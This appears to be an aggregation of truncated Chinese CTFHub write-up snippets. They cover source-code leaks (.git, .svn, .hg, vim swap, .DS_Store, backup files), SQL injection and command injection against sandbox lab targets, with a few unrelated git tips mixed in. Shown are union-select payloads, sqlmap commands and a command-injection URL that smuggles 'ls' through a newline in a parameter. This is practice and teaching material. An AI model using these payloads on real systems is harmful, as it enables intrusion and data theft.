打开靶机 查看页面信息 使用dirsearch进行扫描 使用githack工具处理git泄露情况 使用git log命令查看历史记录 与 add flag 9b5b58-- 这次提交进行比对 即可拿到flag 方法二 使用git checkout命令查询输出文件 输入234261473210834.txt文件 文件内即为flag 命令解释 创建新分支:git branch branchName 切换到新分支:git checkout branchName 然后,上面两个命令也可以合成为一个命令:…
什么是git泄露? 当前大量开发人员使用git进行版本控制,对站点自动部署.如果配置不当,可能会将.git文件夹直接部署到线上环境.这就引起了git泄露漏洞. 打开靶机环境 查看网页内容 使用dirsearch进行扫描 python3 dirsearch.py -u <url> -e * 使用githack工具处理git泄露情况 python2 GitHack.py <url>(url格式:http(s)://XXX/.git/) 查看还原的信息 使用git log查看历史记录 当…
打开靶机环境 查看页面内容 使用dirsearch进行扫描 使用Githack工具处理git泄露情况 进入.git/refs目录 发现stash文件,使用notepad++打开文件 使用git diff 45c25c20bc571504e02c228f5536d0f2aa42849f命令进行比对 即可拿到flag 其他方法,来自官方write up(此方法未成功) 使用git stash list查看 执行 git stash pop 发现从 git 栈中弹出来一个文件,这个文件的内容就是 fl…
打开靶机 查看页面信息 使用dvcs-ripper工具进行处理 ./rip-hg.pl -v -u http://challenge-cf630b528f6f25e2.sandbox.ctfhub.com:10080/.hg/ 执行过程中发现有大量文件未成功拿到,查看已拿到文件信息 进入store/目录,查看fncache文件信息 在之前使用dvcs-ripper工具进行处理时,也出现了文件目录信息 可以看到flag文件名和存放位置,进入data/目录,查看文件信息 没有发现flag文件,根据页…
打开靶机 查看页面信息 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容 以 index.php 为例:第一次产生的交换文件名为 .index.php.swp 再次意外退出后,将会产生名为 .index.php.swo 的交换文件 第三次产生的交换文件则为 .index.php.swn 访问该页面 下载完成后传入Linux中,使用vim编辑器打开 从window中传入Linux中需要更改文件名 文件名为…
打开靶机 查看页面信息 使用dvcs-ripper工具进行处理 ./rip-svn.pl -v -u http://challenge-3b6d43d72718eefb.sandbox.ctfhub.com:10080/.svn/ 进入.svn/pristine/目录,查看文件信息 查看具体内容 成功拿到flag…
打开靶机 查看页面信息 继续使用dirsearch进行扫描 python3 dirsearch.py -u http://challenge-d4234042e1d43e96.sandbox.ctfhub.com:10080/ -e * 找到了需要的文件,浏览器访问 下载完成后打开 拿到flag…
打开靶机 查看页面信息 使用dirsearch进行扫描 访问该网页,下载文件 使用Linux系统打开文件 发现一个特殊文件,使用浏览器打开 拿到flag 二.使用Python-dsstore工具查看该文件 下载地址 https://github.com/gehaxelt/Python-dsstore 使用软件处理该文件 使用浏览器查看该文件 成功拿到flag .DS_Store是什么? .DS_Store 文件利用 .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件.通过.D…
打开靶机 查看网页内容 使用dirsearch进行扫描 命令如下 python3 dirsearch.py -u http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/ -e * 找到目标路径 访问如下地址,即可下载网站源码 http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/www.zip 下载完成后打开 发现名为flag_48739440.txt的文本文件 查看内…
打开靶机 查看页面 点击后发现几个目录 于是开始查找 在2/1目录下发现flag.txt 成功拿到flag 练习一下最近学习的requests库 附上源码 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests url = "http://challenge-a2aa3d58b775fdfd.sandbox.ctfhub.com:10080/flag_in_here" for i in range(5): for j…
打开靶机 查看页面,是PHP info界面 只有这一个页面,查找一下有没有flag 拿到flag 浅谈ctf中phpinfo需要关注的点(转自先知社区) 1 https://xz.aliyun.com/t/6131 首先我们先谈谈 php各个版本的的差异 php5.2以前 __autoload()加载类文件,但只能调用一次这个函数,所以可以用spl_autoload_register()加载类 关于 autoload()函数,如果定义了该函数,该代码就会被调用 关于spl_autoload_re…
Git泄露 Log 首先介绍下.git:Git泄露:当前大量开发人员使用git进行版本控制,对站点自动部署.如果配置不当,可能会将.git文件夹直接部署到线上环境.这就引起了git泄露漏洞. 首先使用disarch工具扫描url,发现存在敏感文件git 命令格式: 工具介绍: GitHack:.git泄露利用工具,可还原历史版本 接下来使用GitHack进行文件恢复这里要注意需要在uri后面加.git 我们进入第一个文件夹 然后用git log查看历史记录 我们把文件恢复成add flag那个版…
扫描目录,发现.git泄露: 提取.git泄露的源码,得到许多文件: 网站这里: 这就要审计一下代码,找找漏洞了. 经过一番审计,猜数字对应的函数在api.php中: 我们要绕过这个$win_numbers,$win_numbers我们是无法控制的,毕竟函数在人家服务器上运行,我们只能输入数字,那么就只能在输入上做文章了,89行判断相等的数字个数时,用的是==,这不就是个弱类型漏洞吗,bool类型的true是可以和任何数据弱类型相等的,于是输入,抓包改包来刷钱: 刷钱就是爽...钱够之后去买fl…
在执行commit或revert等操作时,提示“bad index file sha1 signature fatal: index file corrupt”错误,导致操作失败.这是由于git的index文件出错.需要删除.git/index文件,然后在仓库目录下运行git reset,重新生成index文件. git reset还可以删除已经commit,但未push上去的信息.…
本地git库中,查找其连接的远端服务器信息: 每个git库都会有一个配置信息文件.git/config. cat .git/config,可以看到信息如下: [core]         repositoryformatversion = 0         filemode = true         bare = false         logallrefupdates = true [remote "origin"]         url = git@repo.XXX.c…
彩蛋题建议大家首先自己动手去找一找 做 好 准 备 后 再 看 下 文 !           1.首页 使用域名查询工具查询子域名 2.公众号 此题关注ctfhub公众号即可拿到,不过多赘述. 3.题目入口 随便开启一个题目,抓包 在url中间添加换行或空格,再放包,即可拿到flag 4.Writeup 在Writeup里搜索egg即可拿到flag 5.工具 在工具里搜索egg,即可拿到flag flag就在链接里 6.赛事 一个套路 7.真题 8.投稿提交 这道题比较有意思,flag分别在不…
解决git提交敏感信息(回退git版本库到某一个commit) Fri 07 June 2013 git是一个很好的版本库, 现在很多人用它, 并在github上创建项目, 相信大家都有过将敏感信息提交版本的经历, 如何删除? 好像只有删除版本库来解决, 其实我们可以通过回退版本库删除相应的commit来将提交的敏感信息去掉. 备份本地代码 首先我们将本地代码的更改备份一下, 以防丢失更改 回退本地代码的commit 备份完数据, 我们就可以先回退本地的版本库 git reset --hard…
Vim缓存 进入环境由于不懂得vim是什么借鉴大佬的博客 网页提示flag在index.php中我们按着这个思路去找 将文件保存下来因为是swp文件我们用kail进行打开 使用vim -r index.php.swp我们即可得到flag Ds-Store 打开环境按照题目意思下载ds_store 保存文件 用cat查看一下 访问这个地址即可找到flag…
网站源码 进入环境,首先我们用bp抓一下包 在HTTP请求方式GET/后添加两个负载,一个用于爆破文件名,一个用于爆破后缀名 得知网页源码的备份形式为www.zip,下载网页源码 打开记事本文件 发现是这个东西 通过url访问即可得到flag Bak文件 打开环境我们查看源码发现备份文件为bak,并且得知flag在index.php里,尝试index.php.bak 将文件下载打开我们便得到了flag…
留一下万一之后用得着呢 工作原理 1.解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) 2.去.git/objects/ 文件夹下下载对应的文件 3.zlib解压文件,按原始的目录结构写入源代码 python GitHack.py http://www.XXX.com/.git 脚本下载地址 https://github.com/lijiejie/GitHack…
一道ctf题,文章搬运到了自己的网站上: http://101.132.137.140:202/archives/2019-11-16…
碎碎念 CTFHub:https://www.ctfhub.com/ 笔者入门CTF时时刚开始刷的是bugku的旧平台,后来才有了CTFHub. 感觉不论是网页UI设计,还是题目质量,赛事跟踪,工具软件都做得很不错. 而且因为独到的金币制度的确让人有一种想去刷题赚金币的感觉. 个人还是非常喜欢这个平台的. 某天随便瞅瞅CTFHub的工具页面,一页页地翻下去看看有没有什么需要的黑科技. 翻到最后一页时候,突然发现了个egg!! 然后注意到技能树的彩蛋部分. wow不错不错,有意思!! 虽然都不是很…
1新建一个存储git的文件夹,命令是: toto@toto-K45VD:~$ mkdir gitfolder 2初始化一个git仓库,命令是: toto@toto-K45VD:~$cd gitfolder/ toto@toto-K45VD:~/gitfolder$ls toto@toto-K45VD:~/gitfolder$git init 初始化空的 Git版本库于 /home/toto/gitfolder/.git/ 注意:如果是第一次使用git,还要对git对进行如下配置 git conf…
手注 查询数据库 -1/**/union/**/select/**/database(),2 查询表名 -1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli' 查询字段名 -1/**/union/**/select/**/group_concat(column_name),2/**/from/**/informa…
手注 查询数据库名 查询数据表名 查询字段名 查询字段信息 脚本(from 阿狸) #! /usr/bin/env python # _*_ coding:utf-8 _*_ url = "http://challenge-c58db5e5b714ee25.sandbox.ctfhub.com:10080/" import requests def postPL(pl = '', mask=['</code></br>ID: 1</br>','<…
手注 打开靶机 查看页面信息 抓取数据包 根据提示注入点在User-Agent文件头中 开始尝试注入 成功查到数据库名 查询数据表名 查询字段名 查询字段信息 成功拿到flag 盲注 测试是否存在时间盲注 测试成功,开始盲注 查询数据库名 查询数据表名 查询字段名 查询字段信息 成功拿到flag 附上脚本 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import sys import time session=req…
手注 打开靶机 查看页面信息 查找cookie 测试是否为cookie注入 抓包 尝试注入 成功查询到数据库名 查询表名 查询字段名 查询字段信息 成功拿到flag sqlmap 查询数据库名 python2 sqlmap.py -u "http://challenge-e27e712ceeb91bac.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs 查询数据表名 python2 sqlmap.p…
打开靶机 查看页面信息 查看源码可以发现这一次过滤了很多东西,查看当前目录信息 查询到%0a为换行符,可以利用这个url编码进行命令注入,开始尝试 http://challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als# 查看flag_is_here文件夹内文件信息 challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als<fla…
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _*_ 3 import requests 4 import sys 5 import time 6 7 session=requests.session() 8 url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id…
打开靶机 查看页面信息 开始试验,查看返回信息 此题存在一个问题,如果没有数据,也是返回query_success 如此一来,就无法使用and组合进行注入,在看了其他大佬的解题过程后,知道了可以使用"if()"进行注入 附上链接 https://blog.csdn.net/weixin_44732566/article/details/104455318 if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执…